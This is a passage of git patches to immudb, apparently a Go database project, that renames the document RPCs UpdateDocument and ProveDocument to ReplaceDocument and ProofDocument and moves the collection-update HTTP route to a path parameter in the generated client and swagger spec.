(UnimplementedDocumentServiceServer) SearchDocuments(context.Context, *Sear func (UnimplementedDocumentServiceServer) AuditDocument(context.Context, *AuditDocumentRequest) (*AuditDocumentResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method AuditDocument not implemented") } -func (UnimplementedDocumentServiceServer) ProveDocument(context.Context, *ProveDocumentRequest) (*ProveDocumentResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method ProveDocument not implemented") +func (UnimplementedDocumentServiceServer) ProofDocument(context.Context, *ProofDocumentRequest) (*ProofDocumentResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method ProofDocument not implemented") } // UnsafeDocumentServiceServer may be embedded to opt out of forward compatibility for this service. @@ -376,20 +376,20 @@ func _DocumentService_InsertDocuments_Handler(srv interface{}, ctx context.Conte return interceptor(ctx, in, info, handler) } -func _DocumentService_UpdateDocument_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(UpdateDocumentRequest) +func _DocumentService_ReplaceDocument_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(ReplaceDocumentRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).UpdateDocument(ctx, in) + return srv.(DocumentServiceServer).ReplaceDocument(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.model.DocumentService/UpdateDocument", + FullMethod: "/immudb.model.DocumentService/ReplaceDocument", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).UpdateDocument(ctx, req.(*UpdateDocumentRequest)) + return srv.(DocumentServiceServer).ReplaceDocument(ctx, req.(*ReplaceDocumentRequest)) } return interceptor(ctx, in, info, handler) } @@ -448,20 +448,20 @@ func _DocumentService_AuditDocument_Handler(srv interface{}, ctx context.Context return interceptor(ctx, in, info, handler) } -func _DocumentService_ProveDocument_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(ProveDocumentRequest) +func _DocumentService_ProofDocument_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(ProofDocumentRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).ProveDocument(ctx, in) + return srv.(DocumentServiceServer).ProofDocument(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.model.DocumentService/ProveDocument", + FullMethod: "/immudb.model.DocumentService/ProofDocument", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).ProveDocument(ctx, req.(*ProveDocumentRequest)) + return srv.(DocumentServiceServer).ProofDocument(ctx, req.(*ProofDocumentRequest)) } return interceptor(ctx, in, info, handler) } @@ -506,8 +506,8 @@ var DocumentService_ServiceDesc = grpc.ServiceDesc{ Handler: _DocumentService_InsertDocuments_Handler, }, { - MethodName: "UpdateDocument", - Handler: _DocumentService_UpdateDocument_Handler, + MethodName: "ReplaceDocument", + Handler: _DocumentService_ReplaceDocument_Handler, }, { MethodName: "DeleteDocuments", @@ -522,8 +522,8 @@ var DocumentService_ServiceDesc = grpc.ServiceDesc{ Handler: _DocumentService_AuditDocument_Handler, }, { - MethodName: "ProveDocument", - Handler: _DocumentService_ProveDocument_Handler, + MethodName: "ProofDocument", + Handler: _DocumentService_ProofDocument_Handler, }, }, Streams: []grpc.StreamDesc{}, diff --git a/pkg/auth/permissions.go b/pkg/auth/permissions.go index 3e986ef668..7b0e6125c6 100644 --- a/pkg/auth/permissions.go +++ b/pkg/auth/permissions.go @@ -51,11 +51,11 @@ var maintenanceMethods = map[string]struct{}{ "CreateIndex": {}, "DeleteIndex": {}, "InsertDocuments": {}, - "UpdateDocument": {}, + "ReplaceDocument": {}, "DeleteDocuments": {}, "SearchDocuments": {}, "AuditDocument": {}, - "ProveDocument": {}, + "ProofDocument": {}, // admin methods "ListUsers": {}, @@ -126,11 +126,11 @@ var methodsPermissions = map[string][]uint32{ "CreateIndex": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "DeleteIndex": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "InsertDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, - "UpdateDocument": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + "ReplaceDocument": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "DeleteDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "SearchDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "AuditDocument": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, - "ProveDocument": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, + "ProofDocument": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, // admin methods "ListUsers": {PermissionSysAdmin, PermissionAdmin}, diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 7e69a13316..706210dc8d 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -43,16 +43,16 @@ type DocumentDatabase interface { DeleteIndex(ctx context.Context, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) // InsertDocuments creates new documents InsertDocuments(ctx context.Context, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) - // UpdateDocument updates a document - UpdateDocument(ctx context.Context, req *protomodel.UpdateDocumentRequest) (*protomodel.UpdateDocumentResponse, error) + // ReplaceDocument replaces a document + ReplaceDocument(ctx context.Context, req *protomodel.ReplaceDocumentRequest) (*protomodel.ReplaceDocumentResponse, error) // AuditDocument returns the document audit history AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) // SearchDocuments returns the documents matching the query SearchDocuments(ctx context.Context, query *protomodel.Query, offset int64) (document.DocumentReader, error) // DeleteDocuments deletes documents maching the query DeleteDocuments(ctx context.Context, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) - // ProveDocument returns the proofs for a document - ProveDocument(ctx context.Context, req *protomodel.ProveDocumentRequest) (*protomodel.ProveDocumentResponse, error) + // ProofDocument returns the proofs for a document + ProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error) } // CreateCollection creates a new collection @@ -212,8 +212,8 @@ func (d *db) InsertDocuments(ctx context.Context, req *protomodel.InsertDocument }, nil } -// UpdateDocument updates a document -func (d *db) UpdateDocument(ctx context.Context, req *protomodel.UpdateDocumentRequest) (*protomodel.UpdateDocumentResponse, error) { +// ReplaceDocument replaces a document +func (d *db) ReplaceDocument(ctx context.Context, req *protomodel.ReplaceDocumentRequest) (*protomodel.ReplaceDocumentResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -225,12 +225,12 @@ func (d *db) UpdateDocument(ctx context.Context, req *protomodel.UpdateDocumentR return nil, ErrIllegalArguments } - txID, docID, rev, err := d.documentEngine.UpdateDocument(ctx, req.Query, req.Document) + txID, docID, rev, err := d.documentEngine.ReplaceDocument(ctx, req.Query, req.Document) if err != nil { return nil, err } - return &protomodel.UpdateDocumentResponse{ + return &protomodel.ReplaceDocumentResponse{ TransactionId: txID, DocumentId: docID.EncodeToHexString(), Revision: rev, @@ -282,8 +282,8 @@ func (d *db) DeleteDocuments(ctx context.Context, req *protomodel.DeleteDocument return &protomodel.DeleteDocumentsResponse{}, nil } -// ProveDocument returns the proofs for a documenta -func (d *db) ProveDocument(ctx context.Context, req *protomodel.ProveDocumentRequest) (*protomodel.ProveDocumentResponse, error) { +// ProofDocument returns the proofs for a documenta +func (d *db) ProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error) { if req == nil { return nil, ErrIllegalArguments } @@ -333,7 +333,7 @@ func (d *db) ProveDocument(ctx context.Context, req *protomodel.ProveDocumentReq return nil, err } - return &protomodel.ProveDocumentResponse{ + return &protomodel.ProofDocumentResponse{ Database: d.name, CollectionId: collectionID, IdFieldName: idFieldName, diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 7ce1bfd0b0..351495e6f2 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -128,7 +128,7 @@ func TestDocumentDB_Collection(t *testing.T) { require.Equal(t, 123.0, doc.Fields["pincode"].GetNumberValue()) - proofRes, err := db.ProveDocument(context.Background(), &protomodel.ProveDocumentRequest{ + proofRes, err := db.ProofDocument(context.Background(), &protomodel.ProofDocumentRequest{ Collection: collectionName, DocumentId: res.DocumentIds[0], }) diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index bc4e052dbd..77f121e5bc 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -280,7 +280,7 @@ func (d *closedDB) InsertDocuments(ctx context.Context, req *protomodel.InsertDo return nil, store.ErrAlreadyClosed } -func (d *closedDB) UpdateDocument(ctx context.Context, req *protomodel.UpdateDocumentRequest) (*protomodel.UpdateDocumentResponse, error) { +func (d *closedDB) ReplaceDocument(ctx context.Context, req *protomodel.ReplaceDocumentRequest) (*protomodel.ReplaceDocumentResponse, error) { return nil, store.ErrAlreadyClosed } @@ -292,7 +292,7 @@ func (d *closedDB) SearchDocuments(ctx context.Context, query *protomodel.Query, return nil, store.ErrAlreadyClosed } -func (d *closedDB) ProveDocument(ctx context.Context, req *protomodel.ProveDocumentRequest) (*protomodel.ProveDocumentResponse, error) { +func (d *closedDB) ProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index da94c110d2..c9613ccab6 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -124,12 +124,12 @@ func (s *ImmuServer) InsertDocuments(ctx context.Context, req *protomodel.Insert return resp, nil } -func (s *ImmuServer) UpdateDocument(ctx context.Context, req *protomodel.UpdateDocumentRequest) (*protomodel.UpdateDocumentResponse, error) { - db, err := s.getDBFromCtx(ctx, "UpdateDocument") +func (s *ImmuServer) ReplaceDocument(ctx context.Context, req *protomodel.ReplaceDocumentRequest) (*protomodel.ReplaceDocumentResponse, error) { + db, err := s.getDBFromCtx(ctx, "ReplaceDocument") if err != nil { return nil, err } - resp, err := db.UpdateDocument(ctx, req) + resp, err := db.ReplaceDocument(ctx, req) if err != nil { return nil, err } @@ -264,13 +264,13 @@ func (s *ImmuServer) DeleteDocuments(ctx context.Context, req *protomodel.Delete return resp, nil } -func (s *ImmuServer) ProveDocument(ctx context.Context, req *protomodel.ProveDocumentRequest) (*protomodel.ProveDocumentResponse, error) { - db, err := s.getDBFromCtx(ctx, "ProveDocument") +func (s *ImmuServer) ProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error) { + db, err := s.getDBFromCtx(ctx, "ProofDocument") if err != nil { return nil, err } - res, err := db.ProveDocument(ctx, req) + res, err := db.ProofDocument(ctx, req) if err != nil { return nil, err } diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go index 9dd30aff57..4551878fb5 100644 --- a/pkg/verification/verification.go +++ b/pkg/verification/verification.go @@ -33,7 +33,7 @@ import ( ) func VerifyDocument(ctx context.Context, - proof *protomodel.ProveDocumentResponse, + proof *protomodel.ProofDocumentResponse, doc *structpb.Struct, knownState *schema.ImmutableState, serverSigningPubKey *ecdsa.PublicKey, From e272574be62d7731419c7f1f2f664a894389d07c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 11 May 2023 10:48:08 -0300 Subject: [PATCH 0540/1062] chore(pkg/api): document update with path parameter Signed-off-by: Jeronimo Irazabal --- pkg/api/httpclient/client.go | 164 +++++++++++++------------- pkg/api/openapi/apidocs.swagger.json | 43 +++---- pkg/api/proto/documents.proto | 2 +- pkg/api/protomodel/documents.pb.go | 2 +- pkg/api/protomodel/documents.pb.gw.go | 38 +++++- 5 files changed, 146 insertions(+), 103 deletions(-) diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index 560ba49830..fc27df92ce 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -256,7 +256,6 @@ type ModelSearchDocumentsResponse struct { // ModelUpdateCollectionRequest defines model for modelUpdateCollectionRequest. type ModelUpdateCollectionRequest struct { IdFieldName *string `json:"idFieldName,omitempty"` - Name *string `json:"name,omitempty"` } // ModelUpdateCollectionResponse defines model for modelUpdateCollectionResponse. @@ -620,17 +619,17 @@ type ClientInterface interface { CreateCollection(ctx context.Context, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // UpdateCollection request with any body - UpdateCollectionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - UpdateCollection(ctx context.Context, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // DeleteCollection request DeleteCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) // GetCollection request GetCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) + // UpdateCollection request with any body + UpdateCollectionWithBody(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + UpdateCollection(ctx context.Context, name string, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + // InsertDocuments request with any body InsertDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) @@ -780,8 +779,8 @@ func (c *Client) CreateCollection(ctx context.Context, body CreateCollectionJSON return c.Client.Do(req) } -func (c *Client) UpdateCollectionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewUpdateCollectionRequestWithBody(c.Server, contentType, body) +func (c *Client) DeleteCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDeleteCollectionRequest(c.Server, name) if err != nil { return nil, err } @@ -792,8 +791,8 @@ func (c *Client) UpdateCollectionWithBody(ctx context.Context, contentType strin return c.Client.Do(req) } -func (c *Client) UpdateCollection(ctx context.Context, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewUpdateCollectionRequest(c.Server, body) +func (c *Client) GetCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewGetCollectionRequest(c.Server, name) if err != nil { return nil, err } @@ -804,8 +803,8 @@ func (c *Client) UpdateCollection(ctx context.Context, body UpdateCollectionJSON return c.Client.Do(req) } -func (c *Client) DeleteCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDeleteCollectionRequest(c.Server, name) +func (c *Client) UpdateCollectionWithBody(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewUpdateCollectionRequestWithBody(c.Server, name, contentType, body) if err != nil { return nil, err } @@ -816,8 +815,8 @@ func (c *Client) DeleteCollection(ctx context.Context, name string, reqEditors . return c.Client.Do(req) } -func (c *Client) GetCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewGetCollectionRequest(c.Server, name) +func (c *Client) UpdateCollection(ctx context.Context, name string, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewUpdateCollectionRequest(c.Server, name, body) if err != nil { return nil, err } @@ -1207,27 +1206,23 @@ func NewCreateCollectionRequestWithBody(server string, contentType string, body return req, nil } -// NewUpdateCollectionRequest calls the generic UpdateCollection builder with application/json body -func NewUpdateCollectionRequest(server string, body UpdateCollectionJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) +// NewDeleteCollectionRequest generates requests for DeleteCollection +func NewDeleteCollectionRequest(server string, name string) (*http.Request, error) { + var err error + + var pathParam0 string + + pathParam0, err = runtime.StyleParamWithLocation("simple", false, "name", runtime.ParamLocationPath, name) if err != nil { return nil, err } - bodyReader = bytes.NewReader(buf) - return NewUpdateCollectionRequestWithBody(server, "application/json", bodyReader) -} - -// NewUpdateCollectionRequestWithBody generates requests for UpdateCollection with any type of body -func NewUpdateCollectionRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { - var err error serverURL, err := url.Parse(server) if err != nil { return nil, err } - operationPath := fmt.Sprintf("/collections/update") + operationPath := fmt.Sprintf("/collections/%s", pathParam0) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1237,18 +1232,16 @@ func NewUpdateCollectionRequestWithBody(server string, contentType string, body return nil, err } - req, err := http.NewRequest("PUT", queryURL.String(), body) + req, err := http.NewRequest("DELETE", queryURL.String(), nil) if err != nil { return nil, err } - req.Header.Add("Content-Type", contentType) - return req, nil } -// NewDeleteCollectionRequest generates requests for DeleteCollection -func NewDeleteCollectionRequest(server string, name string) (*http.Request, error) { +// NewGetCollectionRequest generates requests for GetCollection +func NewGetCollectionRequest(server string, name string) (*http.Request, error) { var err error var pathParam0 string @@ -1273,7 +1266,7 @@ func NewDeleteCollectionRequest(server string, name string) (*http.Request, erro return nil, err } - req, err := http.NewRequest("DELETE", queryURL.String(), nil) + req, err := http.NewRequest("GET", queryURL.String(), nil) if err != nil { return nil, err } @@ -1281,8 +1274,19 @@ func NewDeleteCollectionRequest(server string, name string) (*http.Request, erro return req, nil } -// NewGetCollectionRequest generates requests for GetCollection -func NewGetCollectionRequest(server string, name string) (*http.Request, error) { +// NewUpdateCollectionRequest calls the generic UpdateCollection builder with application/json body +func NewUpdateCollectionRequest(server string, name string, body UpdateCollectionJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewUpdateCollectionRequestWithBody(server, name, "application/json", bodyReader) +} + +// NewUpdateCollectionRequestWithBody generates requests for UpdateCollection with any type of body +func NewUpdateCollectionRequestWithBody(server string, name string, contentType string, body io.Reader) (*http.Request, error) { var err error var pathParam0 string @@ -1307,11 +1311,13 @@ func NewGetCollectionRequest(server string, name string) (*http.Request, error) return nil, err } - req, err := http.NewRequest("GET", queryURL.String(), nil) + req, err := http.NewRequest("PUT", queryURL.String(), body) if err != nil { return nil, err } + req.Header.Add("Content-Type", contentType) + return req, nil } @@ -1701,17 +1707,17 @@ type ClientWithResponsesInterface interface { CreateCollectionWithResponse(ctx context.Context, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*CreateCollectionResponse, error) - // UpdateCollection request with any body - UpdateCollectionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) - - UpdateCollectionWithResponse(ctx context.Context, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) - // DeleteCollection request DeleteCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*DeleteCollectionResponse, error) // GetCollection request GetCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*GetCollectionResponse, error) + // UpdateCollection request with any body + UpdateCollectionWithBodyWithResponse(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) + + UpdateCollectionWithResponse(ctx context.Context, name string, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) + // InsertDocuments request with any body InsertDocumentsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) @@ -1868,15 +1874,15 @@ func (r CreateCollectionResponse) StatusCode() int { return 0 } -type UpdateCollectionResponse struct { +type DeleteCollectionResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelUpdateCollectionResponse + JSON200 *ModelDeleteCollectionResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r UpdateCollectionResponse) Status() string { +func (r DeleteCollectionResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -1884,22 +1890,22 @@ func (r UpdateCollectionResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r UpdateCollectionResponse) StatusCode() int { +func (r DeleteCollectionResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type DeleteCollectionResponse struct { +type GetCollectionResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelDeleteCollectionResponse + JSON200 *ModelGetCollectionResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r DeleteCollectionResponse) Status() string { +func (r GetCollectionResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -1907,22 +1913,22 @@ func (r DeleteCollectionResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r DeleteCollectionResponse) StatusCode() int { +func (r GetCollectionResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type GetCollectionResponse struct { +type UpdateCollectionResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelGetCollectionResponse + JSON200 *ModelUpdateCollectionResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r GetCollectionResponse) Status() string { +func (r UpdateCollectionResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -1930,7 +1936,7 @@ func (r GetCollectionResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r GetCollectionResponse) StatusCode() int { +func (r UpdateCollectionResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } @@ -2198,39 +2204,39 @@ func (c *ClientWithResponses) CreateCollectionWithResponse(ctx context.Context, return ParseCreateCollectionResponse(rsp) } -// UpdateCollectionWithBodyWithResponse request with arbitrary body returning *UpdateCollectionResponse -func (c *ClientWithResponses) UpdateCollectionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) { - rsp, err := c.UpdateCollectionWithBody(ctx, contentType, body, reqEditors...) +// DeleteCollectionWithResponse request returning *DeleteCollectionResponse +func (c *ClientWithResponses) DeleteCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*DeleteCollectionResponse, error) { + rsp, err := c.DeleteCollection(ctx, name, reqEditors...) if err != nil { return nil, err } - return ParseUpdateCollectionResponse(rsp) + return ParseDeleteCollectionResponse(rsp) } -func (c *ClientWithResponses) UpdateCollectionWithResponse(ctx context.Context, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) { - rsp, err := c.UpdateCollection(ctx, body, reqEditors...) +// GetCollectionWithResponse request returning *GetCollectionResponse +func (c *ClientWithResponses) GetCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*GetCollectionResponse, error) { + rsp, err := c.GetCollection(ctx, name, reqEditors...) if err != nil { return nil, err } - return ParseUpdateCollectionResponse(rsp) + return ParseGetCollectionResponse(rsp) } -// DeleteCollectionWithResponse request returning *DeleteCollectionResponse -func (c *ClientWithResponses) DeleteCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*DeleteCollectionResponse, error) { - rsp, err := c.DeleteCollection(ctx, name, reqEditors...) +// UpdateCollectionWithBodyWithResponse request with arbitrary body returning *UpdateCollectionResponse +func (c *ClientWithResponses) UpdateCollectionWithBodyWithResponse(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) { + rsp, err := c.UpdateCollectionWithBody(ctx, name, contentType, body, reqEditors...) if err != nil { return nil, err } - return ParseDeleteCollectionResponse(rsp) + return ParseUpdateCollectionResponse(rsp) } -// GetCollectionWithResponse request returning *GetCollectionResponse -func (c *ClientWithResponses) GetCollectionWithResponse(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*GetCollectionResponse, error) { - rsp, err := c.GetCollection(ctx, name, reqEditors...) +func (c *ClientWithResponses) UpdateCollectionWithResponse(ctx context.Context, name string, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*UpdateCollectionResponse, error) { + rsp, err := c.UpdateCollection(ctx, name, body, reqEditors...) if err != nil { return nil, err } - return ParseGetCollectionResponse(rsp) + return ParseUpdateCollectionResponse(rsp) } // InsertDocumentsWithBodyWithResponse request with arbitrary body returning *InsertDocumentsResponse @@ -2534,22 +2540,22 @@ func ParseCreateCollectionResponse(rsp *http.Response) (*CreateCollectionRespons return response, nil } -// ParseUpdateCollectionResponse parses an HTTP response from a UpdateCollectionWithResponse call -func ParseUpdateCollectionResponse(rsp *http.Response) (*UpdateCollectionResponse, error) { +// ParseDeleteCollectionResponse parses an HTTP response from a DeleteCollectionWithResponse call +func ParseDeleteCollectionResponse(rsp *http.Response) (*DeleteCollectionResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &UpdateCollectionResponse{ + response := &DeleteCollectionResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelUpdateCollectionResponse + var dest ModelDeleteCollectionResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2567,22 +2573,22 @@ func ParseUpdateCollectionResponse(rsp *http.Response) (*UpdateCollectionRespons return response, nil } -// ParseDeleteCollectionResponse parses an HTTP response from a DeleteCollectionWithResponse call -func ParseDeleteCollectionResponse(rsp *http.Response) (*DeleteCollectionResponse, error) { +// ParseGetCollectionResponse parses an HTTP response from a GetCollectionWithResponse call +func ParseGetCollectionResponse(rsp *http.Response) (*GetCollectionResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &DeleteCollectionResponse{ + response := &GetCollectionResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelDeleteCollectionResponse + var dest ModelGetCollectionResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2600,22 +2606,22 @@ func ParseDeleteCollectionResponse(rsp *http.Response) (*DeleteCollectionRespons return response, nil } -// ParseGetCollectionResponse parses an HTTP response from a GetCollectionWithResponse call -func ParseGetCollectionResponse(rsp *http.Response) (*GetCollectionResponse, error) { +// ParseUpdateCollectionResponse parses an HTTP response from a UpdateCollectionWithResponse call +func ParseUpdateCollectionResponse(rsp *http.Response) (*UpdateCollectionResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &GetCollectionResponse{ + response := &UpdateCollectionResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelGetCollectionResponse + var dest ModelUpdateCollectionResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 64f28cfd11..74f30fe00e 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -162,14 +162,14 @@ ] } }, - "/collections/update": { - "put": { - "operationId": "UpdateCollection", + "/collections/{name}": { + "get": { + "operationId": "GetCollection", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelUpdateCollectionResponse" + "$ref": "#/definitions/modelGetCollectionResponse" } }, "default": { @@ -181,27 +181,23 @@ }, "parameters": [ { - "name": "body", - "in": "body", + "name": "name", + "in": "path", "required": true, - "schema": { - "$ref": "#/definitions/modelUpdateCollectionRequest" - } + "type": "string" } ], "tags": [ "collections" ] - } - }, - "/collections/{name}": { - "get": { - "operationId": "GetCollection", + }, + "delete": { + "operationId": "DeleteCollection", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelGetCollectionResponse" + "$ref": "#/definitions/modelDeleteCollectionResponse" } }, "default": { @@ -223,13 +219,13 @@ "collections" ] }, - "delete": { - "operationId": "DeleteCollection", + "put": { + "operationId": "UpdateCollection", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelDeleteCollectionResponse" + "$ref": "#/definitions/modelUpdateCollectionResponse" } }, "default": { @@ -245,6 +241,14 @@ "in": "path", "required": true, "type": "string" + }, + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelUpdateCollectionRequest" + } } ], "tags": [ @@ -974,9 +978,6 @@ "modelUpdateCollectionRequest": { "type": "object", "properties": { - "name": { - "type": "string" - }, "idFieldName": { "type": "string" } diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index e456ba3c3b..e162342362 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -264,7 +264,7 @@ service DocumentService { rpc UpdateCollection(UpdateCollectionRequest) returns (UpdateCollectionResponse) { option (google.api.http) = { - put: "/collections/update" + put: "/collections/{name}" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 00ac760acf..7ae4f541a4 100644 --- 